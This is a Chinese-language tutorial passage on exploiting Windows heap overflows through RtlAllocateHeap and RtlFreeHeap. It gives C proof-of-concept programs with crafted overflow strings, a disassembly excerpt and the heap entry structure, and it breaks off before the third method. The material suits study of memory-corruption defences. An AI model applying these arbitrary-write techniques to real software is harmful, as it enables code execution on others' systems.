总结windows下堆溢出的三种利用方式1.利用rtlallocheap
这是isno提到的,看这个例子
main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x01x08x00x11x11x11x11x21x21x21x21";
buf1 = (char*)malloc (32); /* 分配两块内存 */
memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */
buf2 = (char*)malloc (16);
free (buf1);
free (buf2);
return 0;
}
在给buf1完成malloc之后,返回的地址(buf1)是个指针,指向的内存分配情况是这样
buf1的管理结构(8bytes)buf1真正可操作空间(32bytes)下一个空闲堆的管理结构(8bytes)两个双链表指针(8bytes)
在给buf2完成malloc之后,buf1指向的内存分配情况是这样
buf1的管理结构(8bytes)buf1真正可操作空间(32bytes)buf2的管理结构(8bytes)buf2真正可操作空间(16bytes)两个双链表指针(8bytes)
现在如果在buf2分配空间之前,buf1的memcpy操作溢出,并且覆盖了
下一个空闲堆的管理结构(8bytes)两个双链表指针(8bytes)
共16个字节的时候,就会造成buf2的rtlallocheap操作异常。原因看rtlallocheap的这段代码
001b:77fcc453 8901 mov [ecx],eax
001b:77fcc455 894804 mov [eax+04],ecx
此时ecx指向两个双链表指针(8bytes)的后一个指针(0x21212121),eax指向前一个指针(0x11111111)。类似于format string溢出,可以写任意数据到任意地址,这种情况比较简单,前提是在buf2分配空间之前buf1有溢出的机会
2.利用rtlfreeheap的方式一
这是ilsy提到的,看例子
main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x09";
buf1 = (char*)malloc (32); /* 分配两块内存 */
buf2 = (char*)malloc (16);
memcpy (buf1, s, 32+6); /* 这里多复制6个字节 */
free (buf1);
free (buf2);
return 0;
}
由于buf1多复制了6个字节,这6个字节会覆盖掉buf2的管理结构,在free(buf2)时会发生异常。只要我们精心构造这个6个字节就可以达到目的
先看看8字节管理结构的定义(从windows源码中找到)
typedef struct _heap_entry {
//
// this field gives the size of the current block in allocation
// granularity units. (i.e. size << heap_granularity_shift
// equals the size in bytes).
//
// except if this is part of a virtual alloc block then this
// value is the difference between the commit size in the virtual
// alloc entry and the what the user asked for.
//
ushort size;
//
// this field gives the size of the previous block in allocation
// granularity units. (i.e. previoussize << heap_granularity_shift
// equals the size of the previous block in bytes).
//
ushort previoussize;
//
// this field contains the index into the segment that controls
// the memory for this block.
//
uchar segmentindex;
//
// this field contains various flag bits associated with this block.
// currently these are:
//
// 0x01 - heap_entry_busy
// 0x02 - heap_entry_extra_present
// 0x04 - heap_entry_fill_pattern
// 0x08 - heap_entry_virtual_alloc
// 0x10 - heap_entry_last_entry
// 0x20 - heap_entry_settable_flag1
// 0x40 - heap_entry_settable_flag2
// 0x80 - heap_entry_settable_flag3
//
uchar flags;
//
// this field contains the number of unused bytes at the end of this
// block that were not actually allocated. used to compute exact
// size requested prior to rounding requested size to allocation
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器